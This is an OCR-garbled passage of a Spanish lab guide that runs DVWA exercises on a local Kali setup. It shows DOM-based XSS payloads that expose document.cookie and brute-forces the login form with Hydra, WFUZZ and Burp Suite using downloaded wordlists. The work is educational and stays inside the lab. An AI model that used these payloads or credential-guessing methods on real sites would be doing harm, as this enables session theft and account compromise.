
w

IS

Medium v || Submit

PHPIDS
V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
PHPIDS works by filtering any user supplied input against a biacklist of potentially malicious code. It is used in

DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented.

Imagen 69: Configuracion de seguridad — Nivel Medio

31. Luego dar clic en el mismo panel de opciones “XSS (DOM)”

€3 Vulnerability: DOM Based Cross +

d c o

@ localhost,

Home

Instructions |
Setup [ Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind) |
Weak Session IDs |
[ ]
X8$ (Reflected) |
XS$ (Stored)
€SP Bypass |

JavaScript

VWA Security |

PHP Info

About |

Logout |

usemame: admin
Security Level: mediym

Vulnerability: DOM Based Cross Site Scripting (XSS)

Plaase choose a language

[French ~ |[ Select|

More Information

View Sourcs | View Help -

Imagen 70: DOM — Nivel Medio
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32. Dar clic en la opcion “View Source” para revisar el coddigo fuente. Al observar, se
identifica existe un condicional if para verificar si existe un valor de entrada sobre el
arreglo de idioma existente para luego crear otro condicional if para no permitir
etiquetas de secuencia de script.

Achivo Miquna Ver Entrada Dispositvos Ayuda

B emPoOH |1 23 4|g5 il Lokt o apnn|a G

) Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *0

QO D localhost: = w

B %

vulnerabilities/xss_d/source/medium.php

<7php

if ( array_key exists( "default", $ GET ) & !is_null ($_GET[ 'default’ 1) ) {
$default = $ GET['default'];

if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;

S

PHP Info
About |

Logout

Username: admin View Source ‘ View Help ‘
Security Level: medium B s
PHPIDS: disabled

Imagen 71: Caodigo fuente — Nivel Medio

33. Al conocer el codigo fuente, se observa el codigo de desarrollo del formulario, y se
observa como la presentacion del resultado es mediante la funcion document.write().

Archivo  Maquina Ver Entrada

Heakoss 2.3 4 7 WL o

© Vulnerability: DOMBasec * | httpi/flocalhost/vulnerabilitic x = +

tp://localhost/vulnerabilities

Google Hacking DB | OffSec

class="cl

Imagen 72: Inspeccion de elemento para conocer como envia las respuesta contra Script
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34. Para la ejecucion de la prueba, se selecciona el idioma por default que es English para
inserta el script mediante un select de carga en el cuerpo como alerta por el siguiente
comando “<select><body onload=alert(document.cookie);>, dar enviar y se observa

con éxito el script.

Vulnerability: DOM Based Cross +

q X 0  ©® localhest

Brute Force

CSRF

Weak Session IDs

XSS (Reflected)
XSS (Stored)
CSP Bypass
Javascript

DVWA Security
PHP Info
About

Home
Instructions
Setup J Reset DB Flease choose a language

Command Injection

File Upload

Insecure CAPTCHA More Information
SaL Injection .

QL Injection (Blind)

localhost dice

security=medium; PHPSESSID=5qrfol4it8rp7cmikovbnj3151

English
French
Spanish
German

File Inclusion

Logout

Imagen 73: Resultado del script — medio

Escenario#7: Inyectar Script malicioso en Formulario Web — Cuadro de seleccion

individual

Objetivo: Robar Cookie mediante script malicioso

Complejidad: Alto

Tiempo: 15 minutos

35. Dar clic en la opcion “DVWA Security” para cambiar el nivel de seguridad alta

Archivo Maquina Ver Entrada Dispositivos Ayuda
BemPorl| 2

©J DVWA Security :: Damn V' X http://localhost/vulnerabill

&= C @ O D localhost

KaliLinux # Kali Tools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec
~—

Home |
Instructions |
Setup I Reset DB |

Brute Force
Command Injection |
CSRF

File Inclusion |

DVWA Security *

Security Level
Security level is currently: high.

You can set the security level to low, medium, high or impossible. The security level changes the vuinerability
level of DVWA:

1. Low - This security level is completely vuinerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation techniques.

File Upload 2. Medium - This setting is mainly o give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA tecr
3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.
(SR iuection (IS 4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
\Weak Session IDs | source code to the secure source code.
e —— Prior to DVWA v1.9, this level was known as ‘high"
XSS (DOM)
High v || Submit
XSS (Reflected) 9
XSS (Stored)
CSP Bypass PHPIDS
Javaseript

V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

Imagen 74

Configuracion de seguridad — nivel alto
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36. Dar clic en el panel de opcion “XSS(DOM)”

) Vulnerability: DOM Based Cross = X+

<4 C 0 © localhost

Horne Vulnerability: DOM Based Cross Site Scripting (XSS)

Instructions
Setup / Reset DB

Brute Force

Command Injection M

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs
xsspow |

XSS (Reflected)

XSS (Stored)

CSP Bypass

Javascript

DVWA Security
PHP Info
About

Logout

Please choose alanguage

[

Englch  FMation
French
Spanish
German

Usemame: admin (e [Ty
Security Level: high View Source | View Help | -

Imagen 75: Dar clic en opcion “View Source”

37. Dar clic la opcidn “View Source” para revisar el codigo fuente. El codigo cuenta con
un condicional if para ver si existe valores de entrada del arreglo de idiomas por
defectos, y una vez realizado la accion permite clasificar por caso y por defecto
presenta el idioma English

Archivo Maquina Ver Entrada Dispositivos Ayuda
| B OF]v| 1 2 3 4| F ML | by © A punla e
. Z ' o fo i |

) Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *D

QO D localhost = w

if ( array_key exists( "default", $ GET ) && !is null ($_GET[ 'default’ 1) ) {

switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":

break;

default:
header ("location: ?default=English");
exit;

- Allocl

Logout

Username: admin e et e Tk
Security Level: high _—JJ‘
PHPIDS: disabled

Imagen 76: Cddigo fuente — Nivel Alto
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38. Una vez entenido lo que realiza el codigo, se toma como default English para ejercer
el comentario correspondiente del script por la location asignada, se inserta el
comando “English#<script>alert(document.cookie);</script> dando con exito la
prueba.

& Vulnerability: DOM Based Cross = X +

X O @ localhost,

localhost dice

security=high; PHPSESSID=5qrfol4itarp7cmikovbnj3151

Imagen 77: Resultado del script — Alto
Escenario 8: Inyectar Script malicioso en Formulario web — Cuadro de seleccion
individual
Objetivo: Robar Cookie mediante script malicioso
Complejidad: Imposible

39. WA Securiy” para cambiar el nivel de seguridad imposible.

Lok Lidbd O

& DVWA Security :: Damn V' X http:

« cC @ O D localhost/s:

KaliLinux @ Kali Tools = KaliDocs & Kali Forums e Kali NetHunter Exploit-DB % Google HackingDB | OffSec

ow)

Home DVWA Security *
Instructions
Setup / Reset DB Security Level

Security level is currently: impossible.
Brute Force
You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be

T as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or leam basic exploitation technigues.

File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the

developer has tried but failed to secure an application. It also acts as a challenge to users (o refine their

Insecure CAPTCHA exploitation techniques.

3. High - This option is an extension to the medium difficuty, with a mixture of harder or alternative bad
SQL Injection Practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.
EQUENsction sl ) 4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable

Weak Session IDs source code to the secure source code.
[T Prior 1o DVWA V1.9, this level was known as high.
XSS (Do)
[ ble v |[ Submit
XSS (Reflected) mpossible ubmil
XSS (Stored)

Imagen 78: Configuracion de seguridad — Nivel Imposible
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40. Dar clic en la opcion “XSS (DOM)”

«J Vulnerability: DOM Based Cross © X+

4 (¢ [ O localhost

o Vulnerability: DOM Based Cross Site Scripting (XSS)

Instructions
Setup / Reset DB

Brute Force
Command Injection M
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

QL Injection

SOL Injection (Blind)
Weak Session IDs
E
EEEEET
EEET
T |
Haasert |

DVWA Security
PHP Info
About

Logout

French

Engisn  [rmation
French
Spanish
German

Username: admin View Source | View Hel
SEDI.IH\‘ Level: i’nﬁnssm\a QJ -

Imagen 79: DOM — Imposible

41. Dar clic en la opcion “View Source” para revisar el codigo, y se observa que es una
seguridad idéntica al nivel de seguridad bajo.

Archivo  Maquina Ver Entrada Dispositivos Ayuda
BEEmPo1 2 4 | % Fg I YT YRR A nB2| a6

#) Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *0

O D localhost ti y phpid= ty= b & =

Unknown Vulnerability Source

vulnerabilities/xss_d/source/impossible.php

<?php

| Compare All Levels

DVWA Security
PHP Info

About

Logout

Username: admin View Source | View Help ‘
Security Level: impossible —_—
PHPIDS: disabled

Imagen 80: Cddigo fuente — Nivel Imposible
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42. Al insertar el script se observa como la seguridad sobre el script malicioso es
protegido mediante una codificacion de caracteres especiales haciendo una seguridad

Mrdtvo. Miasa. Ver Enirad
Remp

€2 Vulnerability: DOM Base« % http:

€« C @ O D localhost

Kali Linux @ KaliTools @ Kali Docs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB 1 OffSec

D\)

Vulnerability: DOM Based Cross Site Scripting (XSS)

Instructions
Setup / Reset DB Please choose a language:

%3C: 3 7 ) v || select

Brute Force

|

|

|

|

Gommard injsetion | More Information
CSRF |
File Inclusion |
File Upload |
Insecure CAPTCHA |
SQL Injection |
SQL Injection (Blind) |
Weak Session IDs |

A

‘ XSS (Reflected) |
XSS (Stored) |
ase 1

Imagen 81: Script codificado

BRUCE FORCE

Escenario #9: Ataque de fuerza bruta en Formula Login Web mediante HYDRA

Objetivo: Adivinar o Robar las credenciales de usuario administrador

Complejidad: Bajo

Tiempo:55 minutos

23. Dar clic en el panel de ment en la opcion “DVWA Security” para cambiar el nivel
de seguridad bajo

Archivo  Méquina Ver Entrada Disp

Bi=

€2 DVWA Security :: Damn

o C @ O D localhost

Kali Linux @ Kali Tools Kali Docs ¥ Kali Forums e Kali Exploit-DB % Google Hacking DB [ OffSec

Becurty Jevel 15 currenty: Tow,
Brute Force |
You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
Command Injection | level of DVWA
CSRF | 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
e RiEa | as an example of how web application vulnerabilities manifest through bad coding practices and (o serve
n as a platform to teach or learn basic exploltation techniques.
File Upload | 2. Medium - This seting s mainly to give an example (o the user of bad security practices, where the
ed but failed to secure an application. It also acts as a challenge to users (o refine their
Insecure CAPTCHA | «
an extension to the medium difficulty, with & mixture of harder or alternative bad
SQL Injection | pmﬂces o attempt to secure the code. The vuinerability may not allow the same extent of the
atio us Capture The Flags (CTFs) competitions.
SoLinjeeion (Biiid) | blo - This .1 bo secure against il vulnerabilities. I 5 Used to compare the vulnerable
Weak Session IDs | source code to the secure Source code
Prior to DVWA V1.9, this level was known as ‘high
g
XSS (DOM) |
P — Low v || Submit |
XSS (Reflected) |
XSS (Stored) |
CsP Bypass. | PHPIDS
JavaScript | V0.6 (PHP-Inirusion Detection System) is a secuty layer for PHP based web appications.
PHPIDS works by filtering any user supplied input against a blacklist of potentially maliciou Itis used in
| DwWatseveas ample of how Web Application Firewalls (WAFs) can help Improve security and in
PHP Info | some cases how n be circumvented
About | You can enable PHPIDS across this site for the duration of your session.
PHPIDS Is currently: disabled. [ ]
Logout | : o ;

Imagen 82: Configuracion de seguridad — Nivel Bajo
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24. Luego dar clic en el panel en la opcion “BRUCE FORCE” para interactuar en el
formulario web login.

€3 Vulnerability: Brute Force : Damr X

< [¢] Q

+

© localhost

D Vulnerability: Brute Force
Instructions Lﬂgin

Setup / Reset DB
Usemame:
e ] Passinorg

Command Injection |

CSRF
File Inclusion

Insecure CAPTCHA
SQL Injection

QL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

€SP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

File Upload More Information

Imagen 83: Formulario Login — Burte Force

25. Dar clic en la opcion “View Source” para revisar el codigo de seguridad del escenario.
El codigo fuente muestra las variables existentes correspondiente de inicio de sesion
como lo es el usuario y contrasefia para enviar la informacion, la contrasefia es
codificada con el md5 para recuperar la informacion de la consulta mientras se
establezca la conexion.

O D 127001

i
else {

}

vulnerabilities/brute/sourcel/low.php

((is_null($__ mysqli res -

4l% e

able Web Application (DVWA) v1.10 *Dev erable Web Application (DVWA) v1.10 *D — Moills

<?php
if( isset( $_GET[ 'Login' 1) ) {
$user = § GET[ 'username’ 1;
$pass = $ GET[ 'password’ 1;
$pass = md5( $pass );
$query = "SELECT * FROM ‘users’ WHERE user = 'Suser' AND password = '$pass';";
$result = mysqli query($GLOBALS["  mysqli ston"], s$query ) or die( '<pre=' . ((is object($GLOBALS[" mysqli ston"1)) ? mysqli error($GLOBALS["  mysqli ston"]) : ((
if( Sresult & mysqli_num_rows( $result ) == 1) {

Srow - mysqli_fetch assoc( $result );
savatar = $row["avatar'];

echo "<p>Helcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";

echo "<pres<br />Username and/or password incorrect.</pres";

mysqli close($GLOBALS["  mysqli ston"1))) 7 false : $_ mysqli_res[Hll

Bl i o

£ %) 24°C Prac. despejado

Imagen 84: Cddigo fuente — Burte Force - Bajo
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26. Inspeccionar el elemento del formulario para conocer las peticiones que se envia tras
la realizacion de prueba borrado con credenciales incorrectos.

Archivo  Maquna Ver Entrada Dispositvos Ayuda

BoaPor-| 23 4| “Mmml\hh o "

@ Vulnerability: Brute Force * +

& C @ O O localhost, erabilities/brute/?username=admin&password=admin&Login=Login#

KaliLinux # KaliTools @ KaliDocs & Kali Forums e Kali NetHunter Exploit-DB % Google Hacking DB ! OffSec
= 2 ot ' 0 O

Instructions L°g| n
Setup | Reset DB
Username:
admin
[oueroce RS
Command Injection conee
CSRF
Login
File Inclusion
F DL Username and/or password incerrect.

Insecure CAPTCHA |

SQL Injection
SQL Injection (Blind)

ger M Network () StyleEditar () Perfo

More Information

Imagen 85: Ver las peticiones de envio en la seccion network al inspeccionar

27. Se realiza la busqueda de diccionarios correspondiente a la prueba, existen diversos
diccionarios que pueden ser descargable. Por ende, para la respectiva prueba
descargar el diccionario usert.txt.

Archivo Méquina Ver Entrada Dispositivos Ayuda

B emPOF]|1 23 4|05 "nlkw,\.‘.m a L
@ Vulnerability: Brute Force X €) diccionarios/usuarios.txt - X +

& C ® O 8 htt github.com i Juridad r ¢ Aty &

KaliLinux # KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter % Exploit-DB % Google HackingDB | OffSec
P master ~  diccionarios / usuarios.txt Go to file

. hackingyseguridad t O History

A 1 contributor

Imagen 86: Diccionario usarios.txt descarga

117



28. Asi mismo se descarga el diccionario de contrasefia password.txt.

BEmPoOr|1 23 4|05

@ Vulnerability: Brute Force X raw.githubusercontent.com/ X ) passwordstxt-GitHub X+

Archivo  Méquina Ver Entrada Dispositivos Ayuda
Wi d o & 2 0 25|a e

& C @ O A htt github.com.
Kali Linux # Kali Tools ¢ KaliDocs ¥ Kali Forums @ Kali NetHunter * Exploit-DB % Google Hacking DB /| OffSec

. )de / passwords.txt

> Code O-Revisions ‘7 ¥¥Stars ‘7 FForks 5

Imagen 87: Passowrd.txt descarga

29. En la carpeta de descarga se encuentra los archivos descargados.

Achivo Miquna Ver Entrada Dispositivos Ayuda

BEmPob|1 23 4|96

£l root@kali: fhome/kali/Downloads

File Actions Edit View Help

[sudo] password for kali:
2 /home/kali
File System

/home/kali
f Downloads
w=Home
- passwords.txt usuarios.txt

/home/kali/Downloads

/home/kali/Downloads

Imagen 88: Archivos localizado en Downloads
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30. Para el inicio del ataque se usara la herramienta HYDRA con la opcion —L se Ilama
la lista de diccionario de usuario, con —P el diccionario de contrasefia para asi luego
inserta la direccion del entorno que ejerce la peticion post que es http-post-form del
formulario. Por ende, se finaliza el comando insertando el directorio de la pagina
login con el complemento de playloads
username="USER"&password="PASS"&Login=Login afiadiendo el mensaje de
respuesta de ingreso de las credenciales, y se ejecuta el comando.

Archivo Méquina Ver Entrada Dispositivos Ayuda

ME@POO- | 25 4|05

root@kali: /home/kali/Downloads
File Actions Edit View Help
/home/kali/Downloads
/home/kali/user.t /home/kali/Downloads/contrasefias.txt 127.0.0.1 http-post-form

a v9.4 (c) 2 y THC & David M
anyway).

ord:
assword:

Imagen 89: Ejecucidn de la herramienta HYDRA

31. Se logro adivinar y robar las credenciales de usuario, se realiza el ingreso en los
cuadros de texto y de manera exitosa se da conexion.

Entrada
1L Bl o
gist.githubusercontent.com/ % | & Vulnerability: Brute Forc
QO D 127.0.01
Kali Linux # KaliTools « KaliDocs & Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
YA

Home Vulnerability: Brute Force
Instructions Log | n
Setup / Reset DB

Username:

[ J
e roee | Passiod
Command Injection | [ ]
. ()
File Inclusion i
Weicome to the password protected area admin
File Upload
Insecure CAPTCHA L 1
SQL Injection 1
SQL Injection (Bling) |
Weak Session IDs .
More Information
XSS (DOM)
XSS (Reflected) -
XSS (Stored)

\

Imagen 90: Login exitoso con las credenciales
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Escenario #10: Ataque de fuerza bruta en Formulario Login Web mediante WFUZZ

Objetivo: Adivinar o robas las credenciales de usuario administrador

Complejidad: Medio

Tiempo: 41 minutos

32. Dar clic en el panel en la opcion “DVWA Security” para cambiar el nivel de seguridad

medio.

Archivo Méquina Ver Entrada Dispositivos Ayuda

BEaPor-| 23 4|5

raw.githubusercontent.cor gist.githubusercontent.co

(= C @ O D 127.0.01

KaliLinux # KaliTools « KaliDocs N Kali Forums & Kali NetHunter

Home
Instructions
Setup / Reset DB

Brute Force

‘Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Weak Session IDs |
XSS (DOM) |
XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Imagen 91: Configuracion de seguridad — nivel medio — brute forcé

DAL cere 22 L SXample chhou et Sppleaton Ereiale (NARS Con Lol mproie Secuib oo

< DVWA Security:: DamnV X +

Exploit-DB OffSec

Google Hacking DB

DVWA Security »

Security Level
Security level is currently: medium.

You can set the security level to low, medium, high or impossible. The security level changes the vuinerability
Tevel of DVWA

1. Low - This security level is completely vulnerable and has no security measures atall. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or leam basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Prior to DVWA v1.9, this level was known as ‘high'

Medium v || Submit

PHPIDS
V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

PHPIDS works by filtering any user supplied input against a biacklist of potentially malicious code. It is used in

A TAT 711 T

33. Dar clic en el panel en la opcion “BRUCE FORCE”

J Vulnerability: Brute Force = Damr. X+

4 (6]

O O localhost

Home
Instructions
Setup / Reset DB

Command Injection |

Vulnerability: Brute Force

Login
Username:

Password:

CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

More Information

Imagen 92: Formulario Login — Nivel Medio

120




34. Dar clic en opcion “View Source” para revisar el codigo del nivel de seguridad a
realizar. El cddigo fuente presente como el desarrollado ha implementado una pantalla
de inicio sobre la sesion fallida, permitiendo ralentizar la cantidad de solicitudes que se

{3 Damn Vulnerable Web Application (DVWA) 1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Brave

@ localhost

Brute Force Source

vulnerabilities/brute/source/medium.php

ston"], Suser ) : ((trigger_error("

i_ston"])) * mysqli_real_escape_string(SGLOBALS["__mys
work.”, E_USER_ERRCR)) ? ** & "))

i_resl_escape_string(SGLOBALS["_mysali_ston"], Spass ) : ((trigger_error("
s

n"1) 88 is_objec

ysqli_ston"])) ?
} call! Thi o

)) * mysql.
k.", E_USER_ERRDR)) ?

" Spass = nds{ Spass

ERE user = 'Suser’ AND passuiord

RE us P d
wysqli_ston"], Squery ) or die( ‘<prer’ . ) ¢ ((S__mysqli_res = mysqli_connect_error()

ELECT * FRO
object($GLOBALS["__mysqli_ston"])} ? mysqli_error($GLOBALS["__mysqli_ston"])

Squery = "SELEC
$result = mysqli_guer

$7( $result & mysqli_nun_r

ted zrea (Suser}</p>';

echo "eprlielcore to the pas
echo "¢ing src=\"{Savatar}

else {

sleep( 2 );
echo "<prex<or frUsername and/or password incorrect.</prex";
((is_null($__mysqli_res = mysqli_close(SGLOBALS["__mysgli_ston"]))) 2 false : $__mysqli_res);
H
»
Compare All Levels

Imagen 93: Cddigo fuente — Nivel medio — Brute Force

35. Luego de entender el codigo, se realiza la inspeccion del elemento del Login para
identificar en el storage la cookie que es el PHPSESSID vy el nivel de seguridad para la
realizacion del ataque por la herramienta WFUZZ.

Archivo  Maquina Ver Entrada Dispositivos Ayuda

BEEPoOf|1 23 4|9

0| a6

raw.githubusercontent.com/ X gist.githubusercontent.com/ X € Vulnerability: Brute Force X =+
€ C o O D 127.001
KaliLinux 8 KaliTools @ KaliDocs W KaliForums e Kali NetHunter % Exploit-DB % Google Hacking DB | OffSec
Setup | Reset DB |
o Username:
I Password:
Command Injection
CSRF
Login

File Inclusion
Fievpod | Vore Information

Insecure CAPTCHA

SQL Injection |
SQL Injection (Blind)

XSS (DO |

Imagen 94: Busqueda de cookie en storage
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36. Ejecutamos la siguiente consulta para logar el objetivo, con los diccionarios
correspondiente realizado el ataque con la herramienta WFUZZ.

Archivo Miquna Ver Entrada Dispositvos Ayuda

CET X aERE

root@kali: fhome/kali
File Actions Edit View Help
/home/kali

file,user.txt -z e,/home wnloads/contrasefas.txt

Imagen 95: Ejecucion de ataque por WFUZZ

37. Se encuentra el hallazgo de las credenciales de usuario administrador.

Archive Maquina  Ver Entrada Dispasitivos
SEmPoO-l|1 23 A pwo|@ 6
G root @kali: fhome/kali

File Actions Edit View Help
L

)
9
9
9
9
9
9
)
9
9
9
9
9
9
)
9
9
9
9
9
9
)
9
9
)
9
9
9
9
9
9
)
9
9
9
9
9

Imagen 96: Resultados de WFUZZ
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38. Ingreso de datos al formulario Login

Archivo Maquina Ver Entrada Dispositivos Ayuda
B EmPOF]v|1 23 4|w 0

raw.githubusercontent.com/ X  gist.githubusercontent.com/ X € Vulnerability: Brute Force X+

& C @ O D o 127.0.01

KaliLinux # KaliTools < KaliDocs N Kali Forums X Kali NetHunter  Exploit-DB % Google Hacking DB

o)

OffSec

prvvems Vulnerability: Brute Force
Instructions Login
Setup / Reset DB |
- Username:
[ admin
L —— Password.
Injection | Y|
CORE [Login|
File | —

Fievpoad | pore Information
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)

Imagen 97: Datos ingresados

39. Acceso exitoso.

€ Vulnerability: Brute Force :: Damn X = 4

4 (¢] 0 O localhost

e Vulnerability: Brute Force

Instructions :
é Login
Setup / Reset DB
Usemame:

Buerorce | Fessund
Command Injection

CSRE

File Inclusion Welcome to the password protected area admin
File Upload [
Insecure CAPTCHA 1 1
SQL Injection

SQL Injection (Blind)

«

WeakSessionids | More Information
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security
PHP Info
About

Logout

Imagen 98: Login exitoso
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Escenario #11: Ataque de fuerza
por BurpSuite

Objetivo: Adivinar y robar las cr
Complejidad: Alto

Tiempo: 1 horay media

40. Dar clic en el panel la opci
alto para la prueba.

bruta en Formulario Login Web mediante carga util

edenciales de usuario administrador

o6n “DVWA Security” para cambiar el nivel de seguridad

Archivo  Maquina Ver Entrada Dispositivos Ayuda

BEmP o

raw.githubusercontent.cor

2

gist.githubusercontent.co!
& C @

KaliLinux # KaliTools « KaliDocs N Kali Forums X KaliN

Instructions
Setup / Reset DB

Brute Force

Command Injection |

O D 127.0.01/s¢

CSRF

File Inclusion ‘

File Upload

Insecure CAPTCHA ‘

© DVWASecurity::DamnV X +

etHunter OffSec

Exploit-DB
cCU

Google Hacking DB

Security Level
Security level is currently: high.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or lean basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their

techniques.

SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass
JavaScript

PHP Info

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Prior to DVWA v1.9, this level was known as 'high'.

High | submit

PHPIDS

V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications

PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented.

Imagen 99: Configuracion de seguridad — Nivel alto

41. Dar clic en el panel la opcion “BRUTE FORCE”

) Vulnerability: Brute Force :: Dams X

<

+

C R ® localhost

Home
Instructions
Setup / Reset DB

Ems ]
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
QL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Imagen

Vulnerability: Brute Force

Login
Username:

Password:

More Information

100: Login — Brute Force — Alto
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42. Al dar clic en la opcion “View Source” para revisar el codigo del nivel de seguridad,
tras la revision se identifica como se utiliza un token de solicitud de anti-sitio (CSRF)

para el control aleatorio de sesion.

Archivo Méquna Ver Entrada Di

Rembk

TR |
Blisill | o
E) Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* — Mozilla Firefox

O D 127001
<?php

if( isset( $ _GET[ 'Login' 1) ) {

checkToken( $ REQUEST[ 'user token' ], $ SESSION[ 'session token' ], 'index.php' );

$user = $_GET[ 'username' 1;
$user = stripslashes( $user );
$user = ((isset($GLOBALS[" mysqli ston"]) & is_object($GLOBALS["  mysqli ston"])) ? mysqli_real escape string($GLOBALS["

[MySQLConverterToo] Fix the mysql escape string() call! This code does not work.", E_USER ERROR)) ? "" : ""));

mysqli_ston"], $user ) : ((trigger erro

$pass = $_GET[ 'password' 1;

$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS[" mysqli ston"]) && is_object($GLOBALS["  mysqli ston"])) ? mysqli_real escape string($GLOBALS[" mysqli ston"], $pass ) : ((trigger erro

[MySQLConverterToo] Fix the mysql escape string() call! This code does not work.", E_USER ERROR)) ? "" : ""));
$pass = md5( $pass );

"SELECT * FROM ‘users’ WHERE user = '$user' AND password = '$pass';";

$query ;
mysqli_query($GLOBALS[" mysqli ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS[" mysqli ston"])) ? mysqli error($GLOBALS[" mysqli ston"]) : ((H

$result

if( $result & mysqli num rows( $result ) == 1) {

Srow = mysqli_fetch assoc( $result );
$avatar = $row["avatar"];

echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}

else {

Imagen 101: Cddigo fuente — nivel alto — Brute Force

43. Abrir la herramienta Burp Suite.

Archivo Miquna Ver Entrada Disposiivos Ayuda

0 | {1 BurpSite

File System Community Edition

f

=Home

Imagen 102: Abrir BurpSuite
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44. Para interceptar la peticion del sitio, se utiliza el navegador preconfigurado de la
herramienta para usar la opcion proxy intercepcion para observar todas las cualidades
del sitio y los payloads de uso.

Archivo

- 1=

;;

Maquina

Entrada Ayuda

- B X R

Ver Dispositivos

09 e

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp  Projct Intruder Repeater Window  Help
Dashboard  Targat Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn
< HTTPhistory  WebSocketshistory  Options
(5 Requestta htp:/H27.0.0.1:80
Forward Drop Actian Open Browser W | wen (9
Raw  Hex 8= Inspecter W = & X
1 GET /wilnerabilities/brute/ HTTR/L.1
2|Host: 127.0.0.1 Request Attrbutes 2 v
3 Cache-Control. max-age=8
4 sec-ch-ua: "Chromiun’;v="187", "Not=A?Brand"jv="24"
5 sec-ch-ua-nobile: 70 Request Query Parameters o v
& sec-ch-us-platforn: "Linux"
7 Upgrade-Insecure-Requests: 1
& User-Agent: Mozilla/S.@ (Windows NT 10.0; WinG4; xG4) AppleWsbKit/S37.36 (KHTML, like Gecka) Chrome/107.0.5304.107 Safari/S37.36 Request Body Parameters o v
5 Accept. text/htnl, appLication/shtuléxnl, sppLication/xnl; 0.9, inage/avif, inage/webp, inage/apng, */*: 0. 8, ppLicat ion/signed-exchange; w=b3: =09
10 Sec-Fetch-Site: same-origin ~ R
11 Sec-Fetch-Mode: navigate Request Cookies z &
12 Sec-Fetch-User: 71
